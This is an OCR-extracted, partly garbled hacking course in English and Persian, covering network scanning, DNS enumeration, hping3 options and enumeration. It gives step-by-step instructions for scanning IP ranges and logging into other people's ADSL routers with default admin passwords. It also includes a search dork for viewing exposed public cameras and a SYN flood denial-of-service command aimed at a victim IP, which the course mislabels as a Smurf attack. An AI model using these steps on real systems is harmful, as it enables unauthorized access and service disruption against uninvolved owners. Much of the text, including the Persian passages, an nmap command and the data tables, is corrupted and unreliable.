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You can telnet to other commonly used ports with these

commands:

. SMTP: telnet ip_address 25
. HTTP: telnet ip_address 80
. POP3: telnet ip_address 110
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Anti-Phishing Services

Phishing is a name derived from the notion of “fishing for information”, and
"phreaking”. It is a simple concept whereby fraudsters attempt to trick would-be

victims into disclosing sensitive personal details — their bank account details are [N’ Neteraft Anti-Phishing Extension

often particularly attactive — so that the attacker may then exploit the information
gathered to masquerade as the victim, often to access their online bank account.
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community-reported phishing sites before blocking the attack. Well over 17 million
unique phishing sites have been detected and blocked by Netcraft's system to date
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is also licensed by many of the leading anti-virus, content filtering, web-hosting and
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= Background

Site title Google Date first seem  May 2002
Site rank 1 Primary English
language
Description Not Present
Keywords Not Present
= Network
Site https://www.google.com Netblock Owner Google Inc.
Domain google.com Nameserver nsl.google.com
IP address 216.58.208.68 DNS admin dns-admin@google.com
IPv6 address 2a00:1450:4009:80a:0:0:0:2004 Reverse DNS Ihr14527-in-f4.12100.net
Domain markmeonitor.com Nameserver whois.markmonitor.com
registrar organisation
Organisation Google Inc., Please contact contact- Hosting Google

admin@google.com, 1600 Amphitheatre Parkway, company
Mountain View, 94043, United States

D0 (0 1) O @y Target Gy pSwl Ciga (sslgiingy jo3ws

~# nmap -A v o -P -f 0 -sY¥ -s5  172.16.1008.2

olasl g abl 0 0T @ bgyrs adms § e Jale eluww g0 Jardks sly) -A

(39) -0 )5 @ Trace Jac

(500 (0 230w )0 (sle3)oy 03)S padis sly) -v

(310 (0 ggold pSwl Gy skl )s) -Pn

(33905 (306 Jlg)(d buwgs G s (.0 elail Fragment pSwl oblac) -f
(300 (0 Joole @lwaw g4 hid Josals3 sly) -0

(300 -6 LT @ boars pusgy adus § )0 5le3)ey (Hwld sly) -sV

(siBU ¢, TCP Syn oSwl csblac shal sly) -sS

A5 (0 03T 35w B3 )y e gyl G B 1y y5e S 1P gupsl -S



@Javangrpchannel

Angry IP Scanner
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Scan the ADSL Router:

Here is a detailed information on how to exploit the vulnerability of an
ADSL router:

1. Go to whatismyipaddress.com. Once the page is loaded, you will
find your IP address. Note it down.

2. Open Angry IP Scanner, here you will see an option called IP
Range: where you need to enter the range of IP address to scan
for.

Suppose your IP is 117.192.195.101, you can set the range
something as 117.192.194.0 to 117.192.200.255 so that there
exists at least 200-300 IP addresses in the range.

3. Go to Tools->Preferences and select the Ports tab. Under Port
selection enter 80 (we need to scan for port 80). Now switch to
the Display tab, select the option “Hosts with open ports only”
and click on OK.


http://whatismyipaddress.com/
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| have used Angry IP Scanner v3.0 beta-4. If you are using a
different version, you need to Go to Options instead of Tools

4. Now click on Start. After a few minutes, the IP scanner will show a
list of IPs with Port 80 open as shown in the below image:
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5.Now copy any of the IP from the list, paste it in your browser’s
address bar and hit enter. A window will popup asking for username
and password. Since most users do not change the passwords, it
should most likely work with the default username and password.
For most routers the default username-password pair will be admin-
admin or admin-password.

6.Just enter the username-password as specified above and hit
enter. If you are lucky you should gain access to the router settings
page where you can modify any of the router settings. The settings
page can vary from router to router. A sample router settings page is
shown below:
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How to Scan into live. public security

cameras and web cams

GO 8[€ inurl:/view/index_shtmil 9 “

(JAPANESE?) ive traffic - Live View - Official web site
61.60.112.230/view/index.shtml ~

A description for this result is not available because of this site's robots txt — leamn
more:

Live view - AXIS 214 PTZ Network Camera
1968.62.159 136/view/index.shtml -
A description for this result is not available because of this site's robots txt — leamn

more.

Camera por ip - Cam3
82.139.167.140:3131/viewlindex.shtml -
A description for this result is not available because of this site's robots txt — leam

maore.



@Javangrpchannel
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Stream profile Video stream or PTZ preset

| Motion JPEG ¥ | Quad Stream ¥ | Go |
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Scanning DNS Enumuration
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1) Get the host's addresse (A record).
2) Get the namservers .

3) Get the MX record .

:~# dnsenum cnn.com
dnsenum.pl VERSION:1.2.3

cnn.com

166.226.25
166.226.26

.p42.dynect .net. 78.70.42
.timewarner.net. 7.68.238
.timewarner.net. .74.108.238
.p42.dynect.net. 13.250.42




@Javangrpchannel

A
A
A
A
A
A
A
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Anex A Hping3 Help

usage: hping3 host [options]

-h --help show this help

-v --version show version

-c --count packet count

-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)

--faster alias for -i u1000 (100 packets for second)

--flood sent packets as fast as possible. Don't show replies.
-n --numeric numeric output

-q --quiet quiet

-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode

-D --debug debugging info

-z --bind bind ctrl+z to ttl (default to dst port)

-Z --unbind unbind ctrl+z

--beep beep for every matching packet received

Mode

default mode TCP

-0 --rawip RAW IP mode

-1 --icmp ICMP mode

-2 --udp UDP mode

-8 --scan SCAN mode.

Example: hping --scan 1-30,70-90 -S www.target.host

-9 --listen listen mode

P

-a --spoof spoof source address

--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)

-N --id id (default random)
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-W --winid use win* id byte ordering

-r --rel relativize id field (to estimate host traffic)

-f --frag split packets in more frag. (may pass weak acl)

-x --morefrag set more fragments flag

-y --dontfrag set dont fragment flag

-g --fragoff set the fragment offset

-m --mtu set virtual mtu, implies --frag if packet size > mtu
-0 --tos type of service (default 0x00), try --tos help

-G --rroute includes RECORD_ROUTE option and display the route buffer
--Isrr loose source routing and record route

--ssrr strict source routing and record route

-H --ipproto set the IP protocol field, only in RAW IP mode

ICMP

-C --icmptype icmp type (default echo request)

-K --icmpcode icmp code (default 0)

--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)

--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options

UDP/TCP

-s --baseport base source port (default random)

-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port

-w --win winsize (default 64)

-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)

-Q --seqnum shows only tcp sequence number

-b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the
packet so you'll get bad UDP/TCP checksum instead.

-M --setseq set TCP sequence number

-L --setack set TCP ack

-F --fin set FIN flag

-S --syn set SYN flag

-R --rst set RST flag

-P --push set PUSH flag

-A --ack set ACK flag

-U --urg set URG flag

-X --xmas set X unused flag (0x40)

-Y --ymas set Y unused flag (0x80)

--tcpexitcode use last tcp->th_flags as exit code

--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime

Common

-d --data data size (default is 0)

-E --file data from file

-e --sign add 'signature’

-j --dump dump packets in hex

-J --print dump printable characters

-B --safe enable 'safe' protocol

-u --end tell you when --file reached EOF and prevent rewind

-T --traceroute traceroute mode (implies --bind and --ttl 1)

--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode

ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)
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1. Testing ICMP: In this example hping3 will behave like a normal ping utility, sending ICMP-echo und receiving ICMP-
reply

2. Traceroute using ICMP: This example is similar to famous utilities like tracert (windows) or traceroute (linux) who uses
ICMP packets increasing every time in 1 its TTL value.

3. Checking port: Here hping3 will send a Syn packet to a specified port (80 in our example). We can control also fram
which local port will start the scan (5050).

4 Traceroute to a determined port: A nice feature from Hping3 is that you can do a traceroute to a specified port watching
where your packet is blocked. It can just be done by adding —traceroute to the last command.
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6. Other types of Fort Scanning: Firsttype we will try is the FIN scan. In a TCP connection the FIM flag is used to start the
connection closing routine. Ifwe do not receive a reply, that means the port is open. Normally firewalls send a RST+ACK
packet back to signal that the port is closed..

7. Ack Scan: This scan can be used to see ifa hostis alive (when Ping is blocked for example). This should send a RST
response back ifthe portis open.

8. Xmas Scan: This scan sets the sequence number to zero and setthe URG + PSH + FIN flags in the packet. Ifthe target
device's TCF portis closed, the target device sends a TCF RST packetin reply. If the target device's TCF portis open, the
target discards the TCF Xmas scan, sending no reply.

8. Mull Scan: This scan sets the sequence number to zero and have no flags set in the packet. If the target device's TCP
portis closed, the target device sends a TCF RST packet in reply. Ifthe target device's TCF portis open, the target
discards the TCP MULL scan, sending no reply.

10. Smurf Attaclk: This is a type of denial-of-service attack that floods a target system via spoofed broadcast ping
messages.

hping3 -V -c 1000000 -d 120 -5 -w 64 -p 445 -5 445 —flood —rand-source VICTIM_IP

—flood: sent packets as fast as possible. Don't show replies.
—rand-dest: random destionation address mode. see the man.
-V =—Verbose

-C --count: packet count

-0 —data: data size

-5 —5yn: set SYM flag

W —win: winsize (default 64)

-p —destport [+][+]=port= destination port{default 0) ctri+z inc/dec
-5 —-bhaseport: base source port (default random)
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URL Title Kepwords Description Hast Domain |Page size | Page last modiied | Keywords dend Keywords on Pags
hitp:/edition cnn. com/videns/us/2015/06, L1 5. to send tanks to Europe to counter Rus barbara stam, russia The UL S, will bs sending dozens http://edition.onr com | 262732 0

hitp:/edition cnn. com/videas/us/201507, I Fussia the #1 threat to the L.5.7 - CNM ¥ reuters, russia, tera Dire warnings for the Marine Cot http://edition.onr com | 265610

hitp://edition cnn. com/videas/us/2015/07. Is the aliance between Flussia and Iran grow s, iran, temor, w The United States is watching c http://ediion.onr com | 227645

hitp:/eition cnn. com/videns/us/2015/08, Haw dangerous is Fussia to the U157 - CNH ussia threat, ukrain Outgaing Army Chief says Russi http://ediion.onr com | 265629
hitp://edition.enn.com/videws/us/ 2015408, UL, steps up wamings about Fussia - CHN wssia, thieat to us, 1515 may not be the top threal I hitp./ediion.crr com | 266424
itp://edition.enn.comvidews/warld/201 4/ Pulin's fighters, missiles, warships - CHI Vid world, Putin's fighte Though the days of the USSF < http./ediion.crr com | 225608
itp://edition.enn.comvidews/warld/201 4/ Frussia's $730 billion war machine - CHI Vid world, Russia's $73 CHI's Jim Sciulto explains how hitp./ediion.crr com | 254888
itp://edition.enn.comvidews/warld/201 4/ Fiussia flewes its it muscle - CNN Yideo  world, FRussia fleves Fiussia announced that it wil be http./ediion.crr com | 226410
itp://edition.enn.comvidews/warld/ 2015/ Ukraine crisis created new realiy’ for NATO NATO, Ukraine, Ar Lithuanian FM Linas Linkevicius hitp./ediion.crr com | 241374
hitp. edition.enn. com/videos/world/201 5/ Former NATO chief. Fiussia testing the West Anders Fogh Fiasmt Former NATD Secrelary Generz hitp./ediion.cnr com | 228504

hitp:/fedition cnn com/videosworld/2015/ US, Russia dispute over intercepted military ws air force, russia, | After a Flussian fighter jet interce hitp://edition. cir com 229711
http:#fedition. crin com/videns/world/2015/ Russia rolls out highetech new hattle tank - C Russia, Russia Tan The Kiemlin has spent billiors re bttp: /fedition. crr com 254610
http:#edition. crin com/videns/world/2015/ |5 Iran getting a Russian missile spstem? - Ck nussia, iran, weapor LS. officials are concemed tha hitp: //edition. crr com 231868
http:#edition. crin com/videns/world/2015/ Russia's Pres. Yladimir Putin flaxes his musel vladimir putin, russiz CNN's Brian Todd reports on Ri http: /fedition. crr com 228726
http:#fedition. crin com/videns/world/2015/ |s Russia on the move in Syria? - CNN Yider nussia, putin, vladar The United States govemnment § http: //edition. crr com 248475
http:#edition. crin com/videns/world/2015/ Ywhat is Russia up to in Spria? - CNM Video | cnn, barbara stam, | Mew satelite photos reveal Rus http: /fedition. crr com 228979
http:#fedition. chn. com/videos/world/2015/ Russia increases its military equipment in Syr Russia, Syria, [srael Russia saps the military buildup 1 http: /fedition. crr com 23:2m2

hitp:/fedition. cnn.com/2015/06/01 /us/iyw Catholic couple put faith in action for LGBT 1 us, Catholic couple & Memphis, Tennessee, couple hitp://edition.cnr com 138750
hitp:/fedition. cnn.com/201 506/ 25/living/| Alvin Alley principal dancers retire to give ba living, Alvin Ailey pri Antonio and Kirven Douthit-Bow http: //edition.cnr com 129831
hitp:/fedition. cnn.com/2015/09/01 fworld/i Help stop female genital mutilation - CNM.co FGM, Femal Genita & UNICEF report revealed in 20 hitp://edition.cnr com 111665
hitp:/fedition. cnn.com/videos/tv/2015/08; Ten pears and NOLA still rebuilding - CNN ¥ Accidents, disasters Ten years since Hurricane Katrit http: //edition.cnr com 178536
hitp:/fedition. cnn.com/videos/sports/2015. Sepp Blatter's FIFA tenure suffers ness blow | FIFA, Sepp Blatter, CNN's Don Riddell takes alock http://edition.cnr com 259045
hitp:/fedition. enn.com/2015/06/20/living/ Girl Scouts welcomes transgender girs - CNF living, Girl Scouts w Transgender gifs are welcome i hitp://edition.cnr com 142934
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privacy. chn@tumer. com privacy.con hitp:  /edition. cn.com/privacy CNN Privacy Statement - CNN.com hitp: edition.cnn.com
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4048271995 (404] 8271935 hitp:/#edition.cnn.com/about ABOUT CMM.COM - CHN.com
4048782278 [404) 878-2276 Phone hitp:/#edition.cnn.com/about ABOUT CHM.COM - CHN.com
4048271935 (404] 5271995 hittp: /edition.cnn.conmterms CMM Service Agreement - CNN.com
4048782276 (404] 8782276 Phaone hitp:/#edition.cnn.com/terms CMM Service Agreement - CNN.com
18007787873 1-800-778-7879 hitp: /#edition.cnn.com/terms CNM Service dgreement - CHM.com
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4048271335 (404) 82713595 Fax hitp://edition.chn com/about ABOUT CHM.COM - CHM.com
4048782276 (404) B78-2276 hitp:/#edition.cnn.com/about ABQUT CMM.COM - CHM.com
4048271995 (404) B27-1995 Far hitp: //edition.chn.comtems CMM Service Agresment - CMM.com
4048762276 (404) B78-2276 hittp: / edition.cnn.camterms CMM Service Agreement - CHM.com

18007767879 1-800-778-7879 hittp: / edition.chn.camterms CMM Service Agreement - CHM.com



@Javangrpchannel

Module 04 Enumeration

Enumeration

Module 04

Unmask the Invisible Hacker.
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What is Enumeration?

A Enumeration is defined as the process of extracting user names, machine
names, network resources, shares, and services from a system

o Enumeration techniques are conducted in an intranet environment

Al (oo (gilw ooly BB LAN aslul (695 dald 9 ulil (o0 (30 joud 32> 4 32 (Sro &

351 Con s S 03859 580 SMBI G155 oo 53 o) 3 ookl
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Techniques for Enumeration

Extract
information using
the default

passwords

Brute force
Active
Directory

v

information using

Transfer
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Workgroup ¢ Domain sls asii @l

Wb o0 ymalyDomain s 4l jo Enumration

139 o0 03lawl 13 yeswd 3| o S (593U s Session cualic gl

BN C:\Windows\systern32iemd.exe

Microsoft Windows [Uersion 6.1.76811
Copyright (c? 200? Microsoft Corporation. All rights reserved.

C:“Uszerssul>net use
Mew connections will be remembered.

There are no entries in the list.

C:sUserssul >

Dgud o0 oolaiw! o jesws 3l duadeo it (69 ) 3L Session oo 5k Y

" o

= Run @

=== Typethe name of a program, folder, document, or Internet
resource, and Windows will open it for you,

Open: -

QK l | Cancel | | Browse...
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